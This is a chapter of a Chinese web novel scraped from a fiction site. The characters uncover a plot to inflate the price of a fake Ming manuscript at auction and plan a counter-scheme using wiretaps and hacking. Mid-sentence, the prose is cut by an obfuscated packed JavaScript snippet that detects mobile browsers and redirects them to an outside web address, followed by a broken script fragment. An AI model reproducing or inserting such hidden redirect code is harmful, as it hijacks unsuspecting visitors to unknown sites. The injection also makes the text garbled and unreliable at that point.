文趣网 > 都市小说 > 《天工秘录》传人成长记 > 46. 将计就计
    严策关掉台灯,房间陷入黑暗。电脑屏幕上,李浩发来的加密文件传输进度条刚刚走到100%。他戴上耳机,按下播放键。

    起初是沙沙的电流声,然后,钱老板那熟悉而谄媚的声音响了起来:“林少,那小子好像动心了,眼睛一直盯着残卷,喉结都在动……”

    林骁的声音平静如水:“嗯,做得不错。拍卖时,我会抬价,你找几个托儿配合,务必把残卷的价格炒高,然后让我‘艰难’拍下。我要看看,他后续会不会为了看这件‘宝贝’,主动来找我。”

    严策摘下耳机,窗外,寰宇大厦顶端的LED广告牌正变换着蓝白色的光芒。周六下午两点。还有六天。

    他知道了对方的剧本。

    现在,该写自己的了。

    ***

    **时间:周六下午两点零五分**

    **地点:雅集轩二楼预展厅**

    林骁离开后,预展厅的空气似乎重新流动起来。

    钱老板搓着手,脸上堆着笑,目光在严策和秦悦之间来回移动。展厅里其他参观者的低语声、脚步声、玻璃展柜被轻轻叩击的清脆声响重新变得清晰。空气中那股淡淡的檀香味混合着纸张和旧木料的气息,在午后阳光透过高窗洒下的光柱里缓缓浮动。

    严策站在原地,目光重新落回那卷“明代佚名匠人札记残卷”上。

    他的手指在身侧微微蜷缩,掌心渗出细密的汗。心跳在胸腔里沉稳地搏动,一下,又一下,节奏没有乱。但脸上,他让肌肉做出另一种反应——眉头轻轻蹙起,嘴唇抿成一条直线,喉结上下滚动了一下。

    那是渴望被压抑时的生理反应。

    他向前迈了半步,身体微微前倾,视线几乎要贴到展柜玻璃上。鼻尖距离冰冷的玻璃表面只有不到十厘米,他能看见自己呼出的气息在玻璃上留下极淡的白雾,又迅速消散。

    “确实……”他开口,声音有些干涩,“很特别。”

    钱老板眼睛一亮,立刻凑近:“严小友果然有眼光!这上面的墨迹,你看这入纸的深度,这晕染的层次,没有几百年的沉淀,绝对出不来这种效果!还有这纸张,虽然残破,但质地……”

    严策抬起手,制止了钱老板滔滔不绝的讲解。

    他的动作很轻,但带着一种专注到近乎失礼的意味。钱老板立刻噤声,眼神里闪过一丝得意——鱼儿上钩了。

    严策从口袋里掏出手机。

    那是一部普通的国产智能机,黑色的塑料外壳边缘已经有些磨损。他解锁屏幕,手指在屏幕上滑动了几下,打开了相机应用。镜头对准展柜里的残卷,他调整着角度,让光线不至于在玻璃上形成反光。

    秦悦站在他身侧半步的位置,没有说话,但身体微微侧向展厅入口的方向,保持着警戒姿态。她的目光扫过周围——不远处一个穿着灰色西装的中年男人正在看一幅字画,但视线时不时飘向这边;展厅角落的盆栽后面,似乎有个人影晃了一下。

    严策的手指悬在拍摄按钮上方。

    他维持这个姿势足足五秒钟。

    展厅里的灯光是柔和的暖黄色,打在玻璃展柜上,在残卷泛黄的纸面上投下深浅不一的光影。那些蝇头小楷在光线下显得更加清晰,笔画间的顿挫转折,墨色的浓淡变化,甚至纸张纤维的纹理,都纤毫毕现。

    手机屏幕上的取景框里,画面稳定。

    严策的呼吸放缓了。

    他的拇指微微下压——但没有真的按下去。

    就在指尖即将触碰到屏幕的瞬间,他猛地收回了手,像是被烫到一样。手机被他迅速塞回口袋,动作有些慌乱。他转过头,看向钱老板,脸上露出窘迫的神色,耳根甚至泛起一丝不易察觉的红。

    “我……我只是……”他语无伦次,“对不起,这里不能拍照吧?我一时忘了……”

    钱老板哈哈大笑,拍了拍严策的肩膀:“严小友太见外了!预展嘛,拍几张照片留个念想,很正常!不过——”他拖长了语调,眼神意味深长,“这残卷的细节,光靠照片可看不真切。有些东西,得亲手摸,亲眼瞧,才能品出味道。”

    严策低下头,手指无意识地摩挲着校服外套的袖口。

    “但我一个学生,”他的声音很轻,带着自嘲,“哪里懂这些。只是……看着觉得有意思,看看罢了。”

    他说“看看罢了”四个字时,尾音微微发颤。

    那是极力压抑某种冲动时的声音。

    钱老板脸上的笑容更深了。他转头看向秦悦,眼神里带着“你看,我说得没错吧”的得意。秦悦没有回应,只是推了推眼镜,镜片后的目光平静无波。

    “严同学太谦虚了。”林骁的声音从身后传来。

    严策身体微微一僵。

    他没有回头,但能感觉到林骁走近时带起的细微气流。一股淡淡的、冷冽的木质调香水味飘了过来,混合着展厅里的檀香,形成一种奇异的、带着压迫感的气息。

    林骁走到严策身侧,与他并肩站立,目光同样落在那卷残卷上。

    他的姿态很放松,双手插在西装裤口袋里,肩膀舒展。但严策能感觉到,对方的视线像手术刀一样,正在一寸寸解剖自己的每一个细微反应——从僵直的背脊,到微微颤抖的手指,到喉结不自然的滚动。

    “学问无价。”林骁开口,声音温和,“年龄、身份、财力,都不该成为追求知识的障碍。”

    他顿了顿,侧过头,看向严策。

    那双眼睛在展厅灯光下呈现出一种近乎透明的浅褐色,瞳孔深处却幽暗如井。

    “若严同学真感兴趣,”林骁的语气随意得像在讨论天气,“我可以代为拍下。之后借你研究,也无妨。”

    这话说得很轻巧。

    但严策听出了里面的重量——那是用金钱堆砌出来的、居高临下的施舍。是猎手抛出的诱饵,上面涂着甜蜜的毒药。

    他猛地抬起头,脸上露出受惊的表情,连连摆手。

    “不敢当!林学长太客气了!”他的声音因为急切而有些拔高,“这么贵重的东西,我……我怎么配……”

    “配不配,不是你说了算。”林骁打断他,语气依然温和,却带着不容置疑的意味,“我说你配,你就配。”

    严策张了张嘴,像是想说什么,但最终只是低下头,手指紧紧攥着袖口,指节泛白。

    展厅里陷入短暂的沉默。

    只有远处其他参观者的低语声,以及空调系统发出的、几乎听不见的嗡鸣。阳光透过高窗,在地板上投下菱形的光斑,光斑里尘埃缓缓旋转。

    秦悦在这时上前半步,挡在了严策和林骁之间。

    “林先生的好意,我们心领了。”她的声音专业而冷静,“但严策还是个学生,这么贵重的物品,无论是代为拍下还是借用,都不太合适。如果真有兴趣,等以后他自己有能力了,再收藏也不迟。”

    林骁的目光转向秦悦。

    两人的视线在空中交汇。

    秦悦的眼神平静如湖,镜片反射着展厅的灯光,让人看不清她眼底的情绪。林骁的嘴角勾起一丝极淡的弧度,那笑容里没有温度。

    “秦律师说得对。”他微微颔首,“是我考虑不周了。”

    他重新看向严策,眼神里的审视淡去了一些,取而代之的是一种混合了怜悯和掌控欲的神色。

    “那就这样吧。”林骁说,“周六的拍卖会,如果严同学有空,可以来看看。这件残卷的起拍价不高,应该会有很多人竞争。当然——”

    他故意停顿。

    “如果你改变主意,随时可以找我。”

    严策抬起头,眼神里闪过一丝挣扎,但最终还是摇了摇头。

    “谢谢林学长,”他的声音很低,“我……我再想想。”

    “好。”林骁不再多说,转身离开。

    那几个跟班立刻跟了上去,簇拥着他朝展厅另一侧走去。他们的脚步声在光洁的大理石地面上敲击出整齐的节奏,渐行渐远。

    钱老板看着林骁的背影消失在转角,这才松了口气,擦了擦额头上并不存在的汗。

    “严小友,秦律师,”他重新堆起笑容,“咱们再看看别的?今天好东西不少,那边有几件明代文房,也很不错……”

    “不用了。”秦悦开口,声音里带着不容置疑的意味,“我们还有事,先走了。”

    她看向严策:“严策,我们该回去了。”

    严策点头。

    两人转身朝展厅门口走去。

    钱老板在身后说:“那……周六的拍卖会,两位还来吗?”

    秦悦没有回头:“看情况。”

    走出展厅,穿过那条昏暗的走廊。墙壁上的壁灯散发着昏黄的光,将两人的影子拉长又缩短。空气里弥漫着旧建筑特有的、混合了灰尘和木料腐朽的气味。

    下楼梯时,严策的脚步微微一顿。

    他的右手伸进口袋,手指触碰到那枚纽扣——李浩提前给他的、带有微型发射器的纽扣。金属外壳冰凉,边缘光滑。

    楼梯转角处有一盆高大的绿植,叶片肥厚,在昏暗光线下呈现出墨绿色。花盆是粗陶材质,表面粗糙,边缘有几处磕碰的痕迹。

    严策的脚步踉跄了一下。

    很轻微,像是被楼梯绊到。他的身体向前倾,右手下意识扶住墙壁,左手从口袋里抽出——就在这个瞬间,那枚纽扣从他指缝间滑落。

    它掉在墙角的地毯褶皱里。

    深灰色的纽扣,落在深灰色的地毯上,几乎看不见。

    严策站稳身体,拍了拍手,继续往下走。整个过程不到两秒钟,自然得像任何一个不小心绊倒的学生。

    秦悦走在他前面半步,没有回头,但她的背脊微微绷紧。

    直到走出雅集轩的大门,重新回到午后明亮的阳光下,两人才同时轻轻吐出一口气。

    街上的嘈杂声重新涌入耳中。

    汽车尾气的味道,油炸食品的香气,行人交谈的喧哗——平凡世界的喧嚣,此刻听起来竟有些亲切。

    秦悦走到路边,抬手拦出租车。

    “你刚才,”她低声说,目光看着街对面,“演得很好。”

    严策没有回答。

    他的手指在口袋里,轻轻摩挲着手机冰凉的边缘。

    ***

    **时间:周六晚九点四十七分**

    **地点:李浩的临时工作站**

    这是一间位于老城区居民楼顶层的阁楼。

    房间不大,不到二十平米,斜顶,低矮处需要弯腰才能通过。但朝南的一面墙几乎全是窗户,此刻窗帘拉得严严实实,只留一条缝隙,透进外面街灯昏黄的光。

    房间里摆满了电子设备。

    三台显示器呈弧形排列,屏幕上滚动着密密麻麻的代码和数据流。主机箱发出低沉的嗡鸣,散热风扇转动时带起微弱的气流。键盘是机械的,按键在手指敲击下发出清脆的咔嗒声,在安静的房间里格外清晰。

    空气里弥漫着塑料、电路板和即食面调料包混合的奇异气味。

    李浩坐在转椅上,身体前倾,眼睛紧盯着中间那台显示器。

    屏幕上是一个音频波形分析软件。绿色的波形线条在黑色背景上起伏跳动,像一条不安的蛇。旁边是频谱图,不同频率的信号用颜色深浅表示,形成一片斑斓的色块。

    耳机紧紧扣在耳朵上。

    李浩的手指在键盘上快速敲击,调整着滤波参数。背景的电流嘶嘶声被一点点剥离,人声逐渐清晰起来。

    “……林少,那小子好像动心了。”

    钱老板的声音。

    有些失真,带着电磁干扰的杂音,但能听清。

    “眼睛一直盯着残卷,喉结都在动。后来还拿出手机想拍照,但忍住了。我看得出来,他是真想要,但又没钱,那种纠结的样子,装不出来。”

    短暂的沉默。

    只有电流的嘶嘶声。

    然后,林骁的声音响起。

    很平静,很冷。

    “嗯,做得不错。”

    “那……周六的拍卖会,按原计划?”

    “按原计划。”林骁说,“我会抬价。你找几个托儿配合,务必要把残卷的价格炒高,炒到一个……让所有人都觉得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680529|207667||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    离谱,但又合情合理的程度。”

    “明白!”钱老板的声音里带着兴奋,“我已经安排好了,三个托儿,都是熟面孔,在圈子里有点名气,不会引起怀疑。起拍价是八万,我们争取把它抬到……五十万以上?”

    “八十万。”林骁说。

    钱老板倒吸一口凉气。

    “八……八十万?林少,那件东西,就算是真品,市场价也就二十万顶天了,这……”

    “我要的不是市场价。”林骁打断他,声音里带着不容置疑的冷硬,“我要的是一个‘故事’。一件起拍价八万的残卷,被竞拍到八十万,最后由我‘艰难’拍下——这个故事传出去,所有人都会记住,林骁为了这件‘与《天工开物》相关’的古籍,不惜代价。”

    他顿了顿。

    “而那个高中生,如果他真对这东西有兴趣,听到这个故事,他会怎么想?”

    钱老板恍然大悟:“他会觉得……您是真爱这件东西,而且势在必得。但同时,您又花了天价,他如果想看,就只能来求您……”

    “对。”林骁的声音里终于带上了一丝温度,那是猎手看到猎物踏入陷阱时的愉悦,“我要看看,他后续会不会为了看这件‘宝贝’,主动来找我。如果来了,就说明他对这东西的兴趣,远超普通学生的范畴。如果没来……”

    他没有说完。

    但意思很清楚。

    李浩的手指停在键盘上。

    阁楼里很安静,只有主机风扇转动的声音。窗外传来远处街道上汽车驶过的声音,模糊而遥远。

    他摘下耳机,拿起手机,拨通了严策的号码。

    ***

    **时间:周六晚十点二十分**

    **地点:严策家中**

    严策坐在书桌前。

    台灯洒下暖黄色的光,照亮桌面上摊开的《天工秘录》。书页泛黄,边缘已经有些破损,上面的字迹是工整的小楷,墨色深沉。

    他没有在看。

    他的目光落在窗外。

    夜色浓重,远处的寰宇大厦依然亮着灯。顶层的LED广告牌变换着蓝白色的光芒,在夜空中切割出冷硬的几何图形。更远处,江城的夜景像一片铺开的星河,车流的光带蜿蜒流淌。

    手机震动。

    严策拿起,接通。

    “听到了。”李浩的声音从听筒里传来,有些失真,“完整的对话。和你预想的一样,他们要在拍卖会上抬价,把假货炒到天价,然后让林骁‘艰难’拍下,引你上钩。”

    严策没有说话。

    他的手指在书页边缘轻轻摩挲,纸张粗糙的触感从指尖传来。

    “八十万。”李浩继续说,“他们目标价是八十万。起拍价八万,抬十倍。钱老板找了三个托儿,都是圈子里有点名气的,不会引起怀疑。”

    “托儿的身份能查到吗?”

    “正在查。钱老板在对话里提到了两个外号,‘老墨’和‘眼镜刘’,应该是古玩圈里的熟客。第三个没提名字,但应该也不难找。”

    严策闭上眼睛。

    脑海里浮现出预展厅里的画面——林骁那双浅褐色的眼睛,平静如湖,深处却藏着冰冷的算计。钱老板谄媚的笑容,每一道皱纹里都写着贪婪。那卷“明代残卷”躺在展柜里,纸张泛黄,墨迹斑斑,伪装得几乎天衣无缝。

    “他们很自信。”李浩说,“认为你一定会被这个局套住。”

    严策睁开眼睛。

    窗外的霓虹灯光映在他的瞳孔里,折射出细碎的光点。

    “那就让他们自信。”他说,声音很轻,却带着一种冷硬的质地,“周六的拍卖会,我会去。”

    “什么?”李浩的声音提高了一些,“你明知道是陷阱,还要往里跳?”

    “不是跳。”严策说,“是走进去,看看陷阱长什么样,然后——”

    他顿了顿。

    “然后在陷阱合拢之前,把设陷阱的人,推进去。”

    电话那头沉默了几秒。

    然后,李浩笑了。

    那是压抑着兴奋的笑。

    “需要我做什么?”

    “两件事。”严策说,“第一,查清楚那三个托儿的详细资料,包括他们的银行流水、近期交易记录、和钱老板的联系频率。第二,拍卖会当天,我需要你远程接入拍卖行的系统,实时监控出价情况。”

    “接入系统没问题,但查银行流水……这有点难度,需要时间。”

    “有多少查多少。”严策说,“重点是,我要知道他们是不是第一次帮钱老板做这种事。如果是惯犯,就有破绽。”

    “明白。”李浩的声音严肃起来,“还有吗?”

    严策的目光重新落回《天工秘录》上。

    书页摊开的那一页,记载着一种古代机关术的入门原理——“察其形,观其势,顺势而为,借力打力”。

    “第三件事。”他说,“帮我准备一份资料。”

    “什么资料?”

    “关于那卷‘明代佚名匠人札记残卷’的。”严策的手指轻轻点着书页,“我要一份详细的、专业的鉴定报告,指出它为什么是赝品。不是苏清影那种基于经验的判断,而是有科学依据的——纸张纤维分析、墨料成分检测、装帧工艺断代,所有能想到的。”

    李浩愣了一下。

    “你要这个干什么?当场揭穿他们?”

    “不。”严策说,“我要让它,在最适合的时候,出现在最适合的人手里。”

    他挂断电话。

    房间里重新陷入安静。

    台灯的光晕在书桌上投下一圈温暖的黄色,照亮《天工秘录》泛黄的书页,也照亮严策平静的侧脸。

    窗外,寰宇大厦的广告牌又变换了一次图案。

    蓝白色的光芒闪烁,在夜空中写下“寰宇科技”四个大字,然后缓缓淡去。

    严策看着那光芒消失的方向,眼神深暗。

    剧本已经写好。

    演员已经就位。

    舞台,就在周六下午两点的雅集轩拍卖厅。

    现在,只等幕布拉开。